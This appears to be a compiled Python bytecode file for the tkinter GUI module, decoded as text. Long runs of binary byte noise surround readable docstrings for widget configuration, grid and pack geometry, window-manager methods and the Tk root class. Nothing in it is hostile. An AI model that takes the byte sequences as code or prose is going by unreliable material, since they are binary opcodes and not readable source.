Ø×&Ñ&¤x°·±¸#¸sÀ3¹wÐ0GÓ'HÓIÐ IØ �‰� ‰ ”X˜tŸw™w¨˜nÓ-°· ± ¸cÓ0BÑBÕCrc ó(—|jd||«S)zÌConfigure resources of a widget. The values for resources are specified as keyword arguments. To get an overview about the allowed keyword arguments call the method keys. Ú configure©r ©rNr/ros r rzMisc.configure³s€ð�‰˜{¨C°Ó4Ð4rcóV—|jj|jdd|z«S)z4Return the resource value for a KEY given as string.Úcgetr7ru©rNrAs r rz Misc.cget¾s!€à�w‰w�|‰|˜DŸG™G V¨S°3©YÓ7Ð7rcó*—|j||i«yr)r©rNrAr s r Ú __setitem__zMisc.__setitem__Äs€Ø �‰˜˜U�|Õ$rcóÄ—|jj}||jj|jd««D�cgc]}||«ddd‘Œc}Scc}w)z3Return a list of all resource names of this widget.rrrNr¨)rNr8rÆs r rÝz Misc.keysÇs]€à—G‘G×%Ñ%ˆ á˜$Ÿ'™'Ÿ,™, t§w¡w° Ó<Ô=ó?Ù=ð)*‘ ˜!“ ˜Q‘  Ò#Ø=ñ?ð ?ùò?sÁAcó—|jS)z+Return the window path name of this widget.rÙrMs r rOz Misc.__str__Ís €à�w‰wˆrcó~—d|jj›d|jj›d|j›d�S)NrÊrGz object rÒ)rBrQrRrvrMs r rÞz Misc.__repr__Ñs-�à �N‰N× %Ó % t§~¡~×'BÓ'BÀDÇGÃGðMð MrÚ_noarg_cóä—|tjur6|j|jj dd|j ««S|jj dd|j |«y)aSet or get the status for propagation of geometry information. A boolean argument specifies whether the geometry information of the slaves will determine the size of this widget. If no argument is given the current setting will be returned. ÚpackÚ propagateN©rarr×r<r rv©rNÚflags r Úpack_propagatezMisc.pack_propagateØóY€ð ”4—<‘<Ñ Ø×#Ñ# D§G¡G§L¡Lؘ  T§W¡Wó%.ó/ð /ð �G‰G�L‰L˜ ¨d¯g©g°tÕ s r Ú pack_slaveszMisc.pack_slavesçs_€ð—‘×!Ñ!Ø—7‘7—<‘< ¨°$·'±'Ó:ô<ó=ñ<ð+,�×"Ñ" 1Õ%ð<ñ=ð =ùò=óÁAcóÆ—|jj|jjdd|j««D�cgc]}|j |«‘Œc}Scc}w)r$Úplacer%r&r>s r Ú place_slaveszMisc.place_slavesñsb€ð—‘×!Ñ!Ø—7‘7—<‘<Ø ¨$¯'©'ó3ô4ó5ñ4ð+,�×"Ñ" 1Õ%ð4ñ5ð 5ùò5r(cóT—|jjdd|j|«y)z�The anchor value controls how to place the grid within the master when no row/column has any weight. The default anchor is nw.ÚgridÚanchorNru)rNr.s r Ú grid_anchorzMisc.grid_anchorûs€ð �‰� ‰ �V˜X t§w¡w°Õ7rcó¤—dd|jf}|� |�|||fz}|� |�|||fz}|j|jj|Ž«xsdS)aÓReturn a tuple of integer coordinates for the bounding box of this widget controlled by the geometry manager grid. If COLUMN, ROW is given the bounding box applies from the cell with row and column 0 to the specified cell. If COL2 and ROW2 are given the bounding box starts at that cell. The returned integers specify the offset of the upper left corner in the master widget and the width and height. r-ÚbboxN)rvrFr<r )rNÚcolumnÚrowÚcol2Úrow2rns r Ú grid_bboxzMisc.grid_bboxsh€ð˜ §¡Ð(ˆØ Ð  # /ؘ6 3˜-Ñ'ˆDØ Ð  Ð 0ؘ4 ˜,Ñ&ˆDØ�}‰}˜\˜TŸW™WŸ\™\¨4Ð0Ó1Ò9°TÐ9rcó—t|ttjf«rI t|«}|syd|vr|jj |«S|jj |«S|S#ttf$rY|SwxYw)NrG) rrÚ_tkinterÚTcl_Objr<rRrQrúrñ)rNr Úsvalues r Ú_gridconvvaluezMisc._gridconvvalues€Ü �eœc¤8×#3Ñ#3Ð4Ô 5ð ܘU›�ÙØØ˜F‘]ØŸ7™7×,Ñ,¨VÓ4Ð4àŸ7™7Ÿ>™>¨&Ó1Ð1ðˆ øô¤Ð)ò ØØˆ ð ús¢ A,°A,ÁA,Á,A?Á>A?c ó²—t|t«r |s|dddk(r|dd}|dddk7rd|z}|f}n|j||«}|sHt|j|jj d||j |«|j¬«S|jj d||j |f|z«}t|«dk(r|j|«Sy)rrßNràrr7r-)r>) rrr²rBr<r rvr;r)rNràÚindexr/roÚoptionsr$s r Ú_grid_configurezMisc._grid_configure'sÝ€ä �cœ3Ô ©Ø�2�3ˆx˜3ŠØ˜#˜2�h�Ø�2�Aˆw˜#Š~ؘ#‘g�Ø�f‰Gà—m‘m C¨Ó,ˆGÙÜØ—‘Ø—‘— ‘ ˜V W¨d¯g©g°uÓ=Ø×(Ñ(ô*ð *ð�g‰g�l‰lؘ7 D§G¡G¨UÐ3Øñóˆô ˆw‹<˜1Ò Ø×&Ñ& sÓ+Ð +ð rc ó*—|jd|||«S)zãConfigure column INDEX of a grid. Valid resources are minsize (minimum size of the column), weight (how much does additional space propagate to this column) and pad (how much space to let additionally).Úcolumnconfigure©r?©rNr=r/ros r Úgrid_columnconfigurezMisc.grid_columnconfigure<s€ð ×#Ñ#Ð$5°u¸cÀ2ÓFÐFrc óz—|j|jjdd|j||««xsdS)z”Return a tuple of column and row which identify the cell at which the pixel at position X and Y inside the master widget is located.r-ÚlocationNrE©rNrÆrÇs r Ú grid_locationzMisc.grid_locationFs<€ð�}‰}Ø �G‰G�L‰Lؘ  D§G¡G¨Q°ó 3ó4ò<à7;ð >) to an event SEQUENCE such that the virtual event is triggered whenever SEQUENCE occurs.Úeventr*Nrj©rNÚvirtualÚ sequencesrns r Ú event_addzMisc.event_add{s%€ð˜ Ð(¨9Ñ4ˆØ �‰� ‰ �TÕrcóJ—dd|f|z}|jj|«y)z-Unbind a virtual event VIRTUAL from SEQUENCE.rTÚdeleteNrjrUs r Ú event_deletezMisc.event_delete‚s#€à˜ 7Ð+¨iÑ7ˆØ �‰� ‰ �TÕrc ó°—dd|j|f}|j«D]\}}|d|zt|«fz}Œ|jj |«y)z‚Generate an event SEQUENCE. Additional keyword arguments specify parameter of the event (e.g. x, y, rootx, rooty).rTÚgenerateú-%sN)rvr-rr<r )rNr¯rornr2r3s r Úevent_generatezMisc.event_generate‡sQ€ð˜ T§W¡W¨hÐ7ˆØ—H‘H–J‰DˆAˆqؘ5 1™9¤c¨!£fÐ-Ñ-‰Dðà �‰� ‰ �TÕrcón—|jj|jjdd|««S)zuReturn a list of all virtual events or the information about the SEQUENCE bound to the virtual event VIRTUAL.rTrr)rNrVs r Ú event_infozMisc.event_info�s/€ð�w‰w× Ñ Ø �G‰G�L‰L˜ &¨'Ó 2ó4ð 4rcól—|jj|jjdd««S)z*Return a list of all existing image names.ÚimageÚnamesrrMs r Ú image_nameszMisc.image_names˜ó&€à�w‰w× Ñ  §¡§¡¨g°wÓ!?Ó@Ð@rcól—|jj|jjdd««S)z?Return a list of all available image types (e.g. photo bitmap).rcÚtypesrrMs r Ú image_typeszMisc.image_typesœrfrr)r)rÚ1©r©F)rrE)Nr©NNNN©NN)®rPrQrRrßÚ_last_child_idsrrðrrerirlrrÚwaitvarrxr{r}rrQrRr r‡rÅr‰r�r‘r“r•r—r™r›r¢r§r©r´r¸r¼rÀrÃrÅrÇrÊrÏrÑrÔrØrÛrÝrárårçréríróÚliftrörúrþrr r rrrrr!r$r'r)r,r/r3r5r8r<r?rBrGrJrMrPrTrWr[r^rarerhrkrnrqrtrwrzr}r€rƒrˆr‡rŠr�r“r–ršrœržr¡r)r¥r§r²r´rºr¹rÇrÊrÌrÎr^rÑrFrÕr×rªÚpropertyr±r²rårŒr'Úregisterrrìrr®r­rrr r rÚconfigrÚ __getitem__rrÝrOrÞrr!rr'r%r+r/r.r6r1r;r?rDrArHrJrMrLrPrOrRrXr[r_rarerir!rr raraŸs¹„ñEð €Oð€Lò%òó/ò"ò =ó1ð €Gó4ó8ó$ó$ò'ò 'ò Aò'ð €Eò1ò (ò(ò(ò-ò (ò(ó 3ò8/ò,ó"=ò Fò.Aò ò(ò1ò-ò8òó@ò(ò Gó?òAò Fò$!ò 1ò (ò:ó2ó2ð €Dò*ó 2ó "ò 5ò ò7ò<ó (òGò6ò 2ò :ò6ò <ó5ò 8ò 9ò6ò8ó"ò>ò 8ò 9ò 8ò 9ò 8ò :ò 5ò 5ò 8ò;ò ;ò <ò >ò =ò >ò ;ò 8ò +ò 8ò 8ò :ó 9ò>òò;ò:ò6ò 6ò 5ò 1ò 1ò ò,ó 7ó9ó$'BóR :ó 'óNò8óRò<ó òòIò Lò .ò ðñóðóò4ð"!€Móð,€Hòð C€M🚠Ó/Ðò;òz5ò ò#ò Dó5ð€Fò8ð€Kò%ò?ò òMð ˆk€Gà")ó =ð€Iò=ð€Fò5ó8ð€Fó:ð& €Dò ò,ð*/1óGð+€Oò<ð#*ó =ð,.óDð%€Lò;ð €Dó 9òòò ó4òAóArracó—eZdZdZd„Zd„Zy)rzwInternal class. Stores function to call when some user defined Tcl function is called e.g. after an event occurred.có.—||_||_||_y)z(Store FUNC, SUBST and WIDGET as members.N)r�rçrï)rNr�rçrïs r r zCallWrapper.__init__¥s€àˆŒ ؈Œ ؈� rcó¬— |jr|j|Ž}|j|ŽS#t$r‚|jj «YyxYw)z3Apply first function SUBST to arguments, than FUNC.N)rçr�rûrïr©rNrns r r zCallWrapper.__call__«sQ€ð ,Ø�zŠzØ!�t—z‘z 4Ð(�Ø�4—9‘9˜dÐ#Ð #øÜò Ø ð ,Ø �K‰K× )Ñ )Ö +ús ‚),¬%AN©rPrQrRrßr r r!rr rr¡s„ñDòó ,rrcó"—eZdZdZd„Zd„Zd„Zy)ÚXViewzXMix-in class for querying and changing the horizontal position of a widget's window.cóz—|jj|jdg|¢­Ž}|s|j|«Sy)z5Query and change the horizontal position of the view.ÚxviewN©r<r rvrÕ©rNrnr$s r r~z XView.xview»ó:€àˆd�g‰g�l‰l˜4Ÿ7™7 GÐ3¨dÒ3ˆÙØ×#Ñ# CÓ(Ð (ðrcóT—|jj|jdd|«y)zsAdjusts the view in the window so that FRACTION of the total width of the canvas is off-screen to the left.r~ÚmovetoNru©rNÚfractions r Ú xview_movetozXView.xview_movetoÁó€ð �‰� ‰ �T—W‘W˜g x°Õ:rcóV—|jj|jdd||«y)z\Shift the x-view according to NUMBER which is measured in "units" or "pages" (WHAT).r~ÚscrollNru©rNr rçs r Ú xview_scrollzXView.xview_scrollÆó €ð �‰� ‰ �T—W‘W˜g x°¸Õ>rN)rPrQrRrßr~r†r‹r!rr r|r|·ó„ñò)ò ;ó ?rr|có"—eZdZdZd„Zd„Zd„Zy)ÚYViewzVMix-in class for querying and changing the vertical position of a widget's window.cóz—|jj|jdg|¢­Ž}|s|j|«Sy)z3Query and change the vertical position of the view.ÚyviewNrr€s r r‘z YView.yviewÐr�rcóT—|jj|jdd|«y)zsAdjusts the view in the window so that FRACTION of the total height of the canvas is off-screen to the top.r‘rƒNrur„s r Ú yview_movetozYView.yview_movetoÖr‡rcóV—|jj|jdd||«y)z\Shift the y-view according to NUMBER which is measured in "units" or "pages" (WHAT).r‘r‰NrurŠs r Ú yview_scrollzYView.yview_scrollÛrŒrN)rPrQrRrßr‘r“r•r!rr r�r�Ìr�rr�có|—eZdZdZ d"d„ZeZd„ZeZd#d„ZeZ d„Z e Z d#d„Z e Z d„ZeZd#d „ZeZd „ZeZd „ZeZd#d „ZeZ d"d „ZeZd#d„ZeZd$d„ZeZd„ZeZd#d„Z e Z!d#d„Z"e"Z#d%d„Z$e$Z%d$d„Z&e&Z'd#d„Z(e(Z)d„Z*e*Z+d$d„Z,e,Z-d$d„Z.e.Z/d#d„Z0e0Z1d#d„Z2e2Z3d$d„Z4e4Z5d$d„Z6e6Z7d#d„Z8e8Z9d#d„Z:e:Z;d#d„Ze>Z?d!„Z@e@ZAy)&ÚWmzAProvides functions for the communication with the window manager.Nc óv—|j|jjdd|j||||««S)zÕInstruct the window manager to set the aspect ratio (width/height) of this widget to be between MINNUMER/MINDENOM and MAXNUMER/MAXDENOM. Return a tuple of the actual values if no argument is given.ÚwmÚaspectrE)rNÚminNumerÚminDenomÚmaxNumerÚmaxDenoms r Ú wm_aspectz Wm.wm_aspectäs9€ð �}‰}Ø �G‰G�L‰L˜˜x¨¯©Ø˜xؘxó )ó*ð *rcó\—dd|jf|z}|jj|«S)aÅThis subcommand returns or sets platform specific attributes The first form returns a list of the platform specific flags and their values. The second form returns the value for the specific option. The third form sets one or more of the values. The values are as follows: On Windows, -disabled gets or sets whether the window is in a disabled state. -toolwindow gets or sets the style of the window to toolwindow (as defined in the MSDN). -topmost gets or sets whether this is a topmost window (displays above all other windows). On Macintosh, XXXXX On Unix, there are currently no special attribute values. r™Ú attributes)rvr<r rys r Ú wm_attributeszWm.wm_attributesñs,€ð$�l D§G¡GÐ,¨tÑ3ˆØ�w‰w�|‰|˜DÓ!Ð!rcóR—|jjdd|j|«S)zVStore NAME in WM_CLIENT_MACHINE property of this widget. Return current value.r™Úclientrurs r Ú wm_clientz Wm.wm_clients!€ð�w‰w�|‰|˜D (¨D¯G©G°TÓ:Ð:rcó0—t|«dkDr|f}dd|jf|z}|r|jj|«y|jj |jj|««D�cgc]}|j |«‘Œc}Scc}w)zÛStore list of window names (WLIST) into WM_COLORMAPWINDOWS property of this widget. This list contains windows whose colormaps differ from their parents. Return current list of widgets if WLIST is empty.rr™ÚcolormapwindowsN)rrvr<r r8rŒ)rNÚwlistrnrÆs r Úwm_colormapwindowszWm.wm_colormapwindowss‘€ô ˆu‹:˜Š>Ø�HˆEØÐ'¨¯©Ð1°EÑ9ˆÙ Ø �G‰G�L‰L˜Õ ð"ŸW™W×.Ñ.¨t¯w©w¯|©|¸DÓ/AÔBóDÙB˜ð×&Ñ& qÕ)ØBñDð DùòDsÁ8BcóR—|jjdd|j|«S)z�Store VALUE in WM_COMMAND property. It is the command which shall be used to invoke the application. Return current command if VALUE is None.r™ràrurs r Ú wm_commandz Wm.wm_commands!€ð�w‰w�|‰|˜D )¨T¯W©W°eÓ<З|jjdd|«y)aAThe window will be unmapped from the screen and will no longer be managed by wm. toplevel windows will be treated like frame windows once they are no longer managed by wm, however, the menu option configuration will be remembered and the menus will return once the widget is managed again.r™ÚforgetNrjrws r Ú wm_forgetz Wm.wm_forget5s€ð �‰� ‰ �T˜8 VÕ,rcóP—|jjdd|j«S)zAReturn identifier for decorative frame of this widget if present.r™ÚframerurMs r Úwm_framez Wm.wm_frame?s€à�w‰w�|‰|˜D '¨4¯7©7Ó3Ð3rcóR—|jjdd|j|«S)ziSet geometry to NEWGEOMETRY of the form =widthxheight+x+y. Return current value if None is given.r™r#ru)rNÚ newGeometrys r Ú wm_geometryzWm.wm_geometryEs!€ð�w‰w�|‰|˜D *¨d¯g©g°{ÓCÐCrc óv—|j|jjdd|j||||««S)aInstruct the window manager that this widget shall only be resized on grid boundaries. WIDTHINC and HEIGHTINC are the width and height of a grid unit in pixels. BASEWIDTH and BASEHEIGHT are the number of grid units requested in Tk_GeometryRequest.r™r-rE)rNÚ baseWidthÚ baseHeightÚwidthIncÚ heightIncs r Úwm_gridz Wm.wm_gridLs8€ð�}‰}˜TŸW™WŸ\™\Ø �&˜$Ÿ'™'Ø �z 8¨Yó8ó9ð 9rcóR—|jjdd|j|«S)z~Set the group leader widgets for related widgets to PATHNAME. Return the group leader of this widget if None is given.r™Úgroupru©rNÚpathNames r Úwm_groupz Wm.wm_groupYó!€ð�w‰w�|‰|˜D '¨4¯7©7°HÓ=Ð=rcó¨—|�)|jjdd|jd|«S|jjdd|j|«S)aŸSet bitmap for the iconified widget to BITMAP. Return the bitmap if None is given. Under Windows, the DEFAULT parameter can be used to set the icon for the widget and any descendants that don't have an icon set explicitly. DEFAULT can be the relative path to a .ico file (example: root.iconbitmap(default='myicon.ico') ). See Tk documentation for more information.r™Ú iconbitmapú-defaultru)rNÚbitmapÚdefaults r Ú wm_iconbitmapzWm.wm_iconbitmap`sF€ð Ð Ø—7‘7—<‘<  l°D·G±G¸ZÈÓQÐ Qà—7‘7—<‘<  l°D·G±G¸VÓDÐ DrcóP—|jjdd|j«S)zDisplay widget as icon.r™ÚiconifyrurMs r Ú wm_iconifyz Wm.wm_iconifyps€à�w‰w�|‰|˜D )¨T¯W©WÓ5Ð5rcóR—|jjdd|j|«S)zVSet mask for the icon bitmap of this widget. Return the mask if None is given.r™Úiconmaskru)rNrËs r Ú wm_iconmaskzWm.wm_iconmaskvs!€ð�w‰w�|‰|˜D *¨d¯g©g°vÓ>Ð>rcóR—|jjdd|j|«S)zSSet the name of the icon for this widget. Return the name if None is given.r™Úiconnameru)rNÚnewNames r Ú wm_iconnamezWm.wm_iconname}s!€ð�w‰w�|‰|˜D *¨d¯g©g°wÓ?Ð?rcó°—|r+|jjdd|jdg|¢­Žy|jjdd|jg|¢­Žy)aŸSets the titlebar icon for this window based on the named photo images passed through args. If default is True, this is applied to all future created toplevels as well. The data in the images is taken as a snapshot at the time of invocation. If the images are later changed, this is not reflected to the titlebar icons. Multiple images are accepted to allow different images sizes to be provided. The window manager may scale provided icons to an appropriate size. On Windows, the images are packed into a Windows icon structure. This will override an icon specified to wm_iconbitmap, and vice versa. On X, the images are arranged into the _NET_WM_ICON X property, which most modern window managers support. An icon specified by wm_iconbitmap may exist simultaneously. On Macintosh, this currently does nothing.r™Ú iconphotorÊNru)rNrÌrns r Ú wm_iconphotozWm.wm_iconphoto„sG€ñ( Ø ˆD�G‰G�L‰L˜˜{¨D¯G©G°ZÐ GÀ$Ô Gà ˆD�G‰G�L‰L˜˜{¨D¯G©GÐ ;°dÔ ;rc ór—|j|jjdd|j||««S)z�Set the position of the icon of this widget to X and Y. Return a tuple of the current values of X and X if None is given.r™Ú iconpositionrErGs r Úwm_iconpositionzWm.wm_iconpositionŸs3€ð�}‰}˜TŸW™WŸ\™\Ø �. $§'¡'¨1¨aó1ó2ð 2rcóR—|jjdd|j|«S)zgSet widget PATHNAME to be displayed instead of icon. Return the current value if None is given.r™Ú iconwindowrurÄs r Ú wm_iconwindowzWm.wm_iconwindow§s!€ð�w‰w�|‰|˜D ,°·±¸ÓBÐBrcó>—|jjdd|«y)z–The widget specified will become a stand alone top-level window. The window will be decorated with the window managers title bar, etc.r™ÚmanageNrj)rNrïs r Ú wm_managez Wm.wm_manage®s€ð �‰� ‰ �T˜8 VÕ,rc ór—|j|jjdd|j||««S)z¢Set max WIDTH and HEIGHT for this widget. If the window is gridded the values are given in grid units. Return the current values if None is given.r™ÚmaxsizerE©rNrÈrÉs r Ú wm_maxsizez Wm.wm_maxsize¶ó3€ð�}‰}˜TŸW™WŸ\™\Ø �)˜TŸW™W e¨Vó5ó6ð 6rc ór—|j|jjdd|j||««S)z¢Set min WIDTH and HEIGHT for this widget. If the window is gridded the values are given in grid units. Return the current values if None is given.r™ÚminsizerEræs r Ú wm_minsizez Wm.wm_minsize¿rèrcóp—|j|jjdd|j|««S)zˆInstruct the window manager to ignore this widget if BOOLEAN is given with 1. Return the current value if None is given.r™Úoverrideredirect)r×r<r rvrfs r Úwm_overrideredirectzWm.wm_overrideredirectÈs4€ð×Ñ §¡§ ¡ Ø Ð$ d§g¡g¨wó!8ó9ð 9rcóR—|jjdd|j|«S)z¦Instruct the window manager that the position of this widget shall be defined by the user if WHO is "user", and by its own policy if WHO is "program".r™Ú positionfromru©rNÚwhos r Úwm_positionfromzWm.wm_positionfromÑs!€ð�w‰w�|‰|˜D .°$·'±'¸3Ó?Ð?rcó’—t|«r|j|«}n|}|jjdd|j||«S)z´Bind function FUNC to command NAME for this widget. Return the function bound to NAME if None is given. NAME could be e.g. "WM_SAVE_YOURSELF" or "WM_DELETE_WINDOW".r™Úprotocol)rár'r<r rv)rNrËr�ràs r Ú wm_protocolzWm.wm_protocolÙsB€ô �DŒ>Ø—n‘n TÓ*‰GàˆGØ�w‰w�|‰|Ø �*˜dŸg™g t¨Wó6ð 6rcóT—|jjdd|j||«S)zyInstruct the window manager whether this width can be resized in WIDTH or HEIGHT. Both values are boolean values.r™Ú resizableruræs r Ú wm_resizablezWm.wm_resizableæs#€ð�w‰w�|‰|˜D +¨t¯w©w¸¸vÓFÐFrcóR—|jjdd|j|«S)z¢Instruct the window manager that the size of this widget shall be defined by the user if WHO is "user", and by its own policy if WHO is "program".r™Úsizefromrurñs r Ú wm_sizefromzWm.wm_sizefromís!€ð�w‰w�|‰|˜D *¨d¯g©g°sÓ;Ð;rcóR—|jjdd|j|«S)z†Query or set the state of this widget as one of normal, icon, iconic (see wm_iconwindow), withdrawn, or zoomed (Windows only).r™r²ru)rNÚnewstates r Úwm_statez Wm.wm_stateõrÇrcóR—|jjdd|j|«S)zSet the title of this widget.r™ÚtitlerurÓs r Úwm_titlez Wm.wm_titleüs€à�w‰w�|‰|˜D '¨4¯7©7°FÓ;Ð;rcóR—|jjdd|j|«S)z_Instruct the window manager that this widget is transient with regard to widget MASTER.r™Ú transientru)rNrós r Ú wm_transientzWm.wm_transient s!€ð�w‰w�|‰|˜D +¨t¯w©w¸Ó?Ð?rcóP—|jjdd|j«S)zˆWithdraw this widget from the screen such that it is unmapped and forgotten by the window manager. Re-draw it with wm_deiconify.r™rërurMs r Ú wm_withdrawzWm.wm_withdraw s€ð�w‰w�|‰|˜D *¨d¯g©gÓ6Ð6rrmrrnrl)BrPrQrRrßrŸršr¢r¡r¥r¤r©r§r«ràr®r­r²r°rµr´r¸r·r»r#rÁr-rÆrÃrÍrÉrÐrÏrÓrÒr×rÕrÚrÙrÝrÜràrßrãrârçrårërêrîrírórðrörõrùrørürûrÿr²rrrrrrër!rr r—r—ás“„ÙKð'+Ø&*ó *ð€Fò"ð*€Jó;ð €Fò Dð)€Oó=ð €Gò8ð €Ió@ð €Jò-ð€Fò4ð €EóDð €Hð%)Ø"&ó 9ð €Dó>ð €Eó Eð€Jò6ð€Gó?ð €Hó@ð €Hó<ð2€Ió2ð #€LóCð €Jò-ð €Fó6ð€Gó6ð€Gó9ð+Ðó@ð #€Ló 6ð€HóGð €Ió<ð €Hó>ð €Eó<ð €Eó@ð €Iò7ð �Hrr—cóD—eZdZdZdZ d d„Zd„Zd„Zd„Zd„Z d „Z d „Z y) ræzzToplevel widget of Tk which represents mostly the main window of an application. It has an associated Tcl interpreter.rGNc ó—d|_i|_d|_d|_|€Wddl}|j j tjd«}|j j|«\}}|dvr||z}d} tj|||| t|||«|_tr|jjt«|r|j!«tj"j$s|j'||«yy)aAReturn a new top level widget on screen SCREENNAME. A new Tcl interpreter will be created. BASENAME will be used for the identification of the profile file (see readprofile). It is constructed from sys.argv[0] without extensions if None is given. CLASSNAME is the name of the widget class.NFr)z.pyz.pyc)rórÚ _tkloadedr<ÚosÚpathÚbasenamerÿÚargvÚsplitextr8ÚcreateÚ wantobjectsÚ_debugÚsettraceÚ_print_commandÚ_loadtkÚflagsÚignore_environmentÚ readprofile) rNÚ screenNameÚbaseNamerÓÚuseTkÚsyncÚuser ÚextÚ interactives r r z Tk.__init__ sÚ€ðˆŒ ØˆŒ ؈ŒðˆŒØ Ð Û Ø—w‘w×'Ñ'¬¯©°© Ó4ˆHØŸG™G×,Ñ,¨XÓ6‰MˆH�cؘ/Ñ)Ø# c™>�؈ Ü—/‘/ *¨h¸ À;ÔP[Ð]bÐdhÐjmÓnˆŒÝ Ø �G‰G× Ñ œ^Ô ,Ù Ø �L‰LŒNÜ�y‰y×+Ò+à × Ñ ˜X yÕ 1ð,rcór—|js+|jj«|j«yyr)r r<ÚloadtkrrMs r r!z Tk.loadtk3 s%€Ø�~Š~Ø �G‰G�N‰NÔ Ø �L‰L�Nðrcó—d|_|jjd«}|tjk7r t dtj›d|›d�«‚t |jjd««}|tjk7r t dtj›d|›d�«‚|j€g|_|jjd t«|jjd t«|jjd «|jjd «trt€|a|jd |j «y) NTÚ tk_versionztk.h version (z!) doesn't match libtk.a version (Ú)Ú tcl_versionztcl.h version (z") doesn't match libtcl.a version (ÚtkerrorÚexitÚWM_DELETE_WINDOW)r r<rr8Ú TK_VERSIONr9rÚ TCL_VERSIONrr#rørýr×rárârõrð)rNr#r%s r rz Tk._loadtk8 s€ØˆŒð—W‘W—^‘^ LÓ1ˆ Ø œ×,Ñ,Ò ,ÝÜ"*×"5Ó"5²zð CóDð Dô˜$Ÿ'™'Ÿ.™.¨Ó7Ó8ˆ Ø œ(×.Ñ.Ò .ÝÜ"*×"6Ó"6º ð EóFð Fð × Ñ Ð $Ø "ˆDÔ Ø �‰×јi¬Ô2Ø �‰×јf¤eÔ,Ø ×Ñ× Ñ  Ô+Ø ×Ñ× Ñ  Ô(Ý ¤]Ð%:Ø ˆMØ � ‰ Ð(¨$¯,©,Õ7rcó—t|jj««D]}|j«Œ|jj d|j «tj|«tr t|urda yyy)zhDestroy this and all descendants widgets. This will end the application of this Tcl interpreter.rðN) rrÚvaluesrðr<r rvrarárâ©rNr0s r rðz Tk.destroyR s_€ô�d—m‘m×*Ñ*Ó,Ö-ˆA¨q¯y©y­{Ð-Ø �‰� ‰ �Y §¡Ô(Ü � ‰ �TÔå ¤]°dÑ%:Ø ‰Mð&;Ð rcóN—ddl}d|jvr|jd}n |j}|jj |d|z«}|jj |d|z«}|jj |d|z«}|jj |d|z«}d|i} t d| «|jj |«r|jjd|«|jj |«r#t t|«j«| «|jj |«r|jjd|«|jj |«r$t t|«j«| «yy) zÓInternal function. It reads .BASENAME.tcl and .CLASSNAME.tcl into the Tcl Interpreter and calls exec on the contents of .BASENAME.py and .CLASSNAME.py if such a file exists in the home directory.rNÚHOMEz.%s.tclz.%s.pyrNzfrom tkinter import *Úsource) r ÚenvironÚcurdirr rÚexecÚisfiler<r ÚopenÚread) rNrrÓr ÚhomeÚ class_tclÚclass_pyÚbase_tclÚbase_pyÚdirs r rzTk.readprofile\ s8€ó Ø �R—Z‘ZÑ ¨¯ © °6Ñ(:¡Ø—Y‘YˆdØ—G‘G—L‘L  y°9Ñ'<Ó=ˆ Ø—7‘7—<‘<  h°Ñ&:Ó;ˆØ—7‘7—<‘<  i°(Ñ&:Ó;ˆØ—'‘'—,‘,˜t X°Ñ%8Ó9ˆØ�tˆnˆÜ Ð $ cÔ*Ø �7‰7�>‰>˜)Ô $Ø �G‰G�L‰L˜ 9Ô -Ø �7‰7�>‰>˜(Ô #Ü ”�h“×$Ñ$Ó&¨Ô ,Ø �7‰7�>‰>˜(Ô #Ø �G‰G�L‰L˜ 8Ô ,Ø �7‰7�>‰>˜'Ô "Ü ”�g“×#Ñ#Ó% sÕ +ð #rcóÀ—ddl}tdtj¬«|t_|t_|t_|t_|j|||«y)z—Report callback exception on sys.stderr. Applications may want to override this internal function, and should when sys.stderr is None.rNzException in Tkinter callback©Úfile) Ú tracebackr,rÿÚstderrÚlast_excÚ last_typeÚ last_valueÚlast_tracebackÚprint_exception)rNr‚rrr@s r rzTk.report_callback_exceptionr sE€ó Ü Ð-´C·J±JÕ?ØŒŒ ØŒŒ ØŒŒØŒÔØ×!Ñ! # s¨BÕ/rcó.—t|j|«S)z3Delegate attribute access to the interpreter object)rÕr<)rNÚattrs r Ú __getattr__zTk.__getattr__ s€ä�t—w‘w Ó%Ð%r)NNræTFN) rPrQrRrßrvr r!rrðrrrIr!rr ræræ s6„ñ@à €BàAEØ-1ó2ò:ò 8ò4!ò,ò, 0ó&rrær>cóX—t|t«sJ‚t|«}t||¬«y)Nr>)rrrr,)rër?s r rr„ s%€ä �cœ5Ô !Ð!Ð !Ü �‹*€CÜ ˆ#�DÖrcó—t||||«Sr)ræ)rrrÓrs r ÚTclrLš s€Ü ˆj˜( I¨uÓ 5Ð5rcór—eZdZdZifd„ZexZxZZd„ZeZ d„Z e Z e jxZZ e jxZZy)ÚPackzQGeometry manager Pack. Base class to use the methods pack_* in every widget.c óz—|jjdd|jf|j||«z«y)a(Pack a widget in the parent widget. Use as options: after=widget - pack it after you have packed widget anchor=NSEW (or subset) - position widget according to given direction before=widget - pack it before you will pack widget expand=bool - expand widget if parent size grows fill=NONE or X or Y or BOTH - fill widget if widget grows in=master - use master to contain this widget in_=master - see 'in' option description ipadx=amount - add internal padding in x direction ipady=amount - add internal padding in y direction padx=amount - add padding in x direction pady=amount - add padding in y direction side=TOP or BOTTOM or LEFT or RIGHT - where to add this widget. rrN©r<r rvr²rs r Úpack_configurezPack.pack_configure£ s5€ð �‰� ‰ Ø�{ D§G¡GÐ,Ø— ‘ ˜c 2Ó&ñ'õ (rcóR—|jjdd|j«y)z:Unmap this widget and do not use it for the packing order.rr´NrurMs r Ú pack_forgetzPack.pack_forget¹ ó€à �‰� ‰ �V˜X t§w¡wÕ/rcó²—t|j|jjdd|j««}d|vr|j |d«|d<|S)zEReturn information about the packing options for this widget.rrÚin©rBr<r rvrå©rNÚds r Ú pack_infozPack.pack_info¿ óM€ô �t—w‘w §¡§ ¡ ¨V°V¸T¿W¹WÓ EÓ FˆØ �1‰9Ø×'Ñ'¨¨$©Ó0ˆAˆd‰G؈rN)rPrQrRrßrQrrrtrSr´rZrrar!rr'r%r!rr rNrNž sZ„ñ=ð"$ó(ð(!/Ð.€DÐ.ˆ9�vò0ð€Fòð €DØ!%×!4Ñ!4Ð4€I�Ø×+Ñ+Ð+€F‰[rrNcóV—eZdZdZifd„ZexZxZZd„ZeZ d„Z e Z e jxZZ y)ÚPlacezSGeometry manager Place. Base class to use the methods place_* in every widget.c óz—|jjdd|jf|j||«z«y)a Place a widget in the parent widget. Use as options: in=master - master relative to which the widget is placed in_=master - see 'in' option description x=amount - locate anchor of this widget at position x of master y=amount - locate anchor of this widget at position y of master relx=amount - locate anchor of this widget between 0.0 and 1.0 relative to width of master (1.0 is right edge) rely=amount - locate anchor of this widget between 0.0 and 1.0 relative to height of master (1.0 is bottom edge) anchor=NSEW (or subset) - position anchor according to given direction width=amount - width of this widget in pixel height=amount - height of this widget in pixel relwidth=amount - width of this widget between 0.0 and 1.0 relative to width of master (1.0 is the same 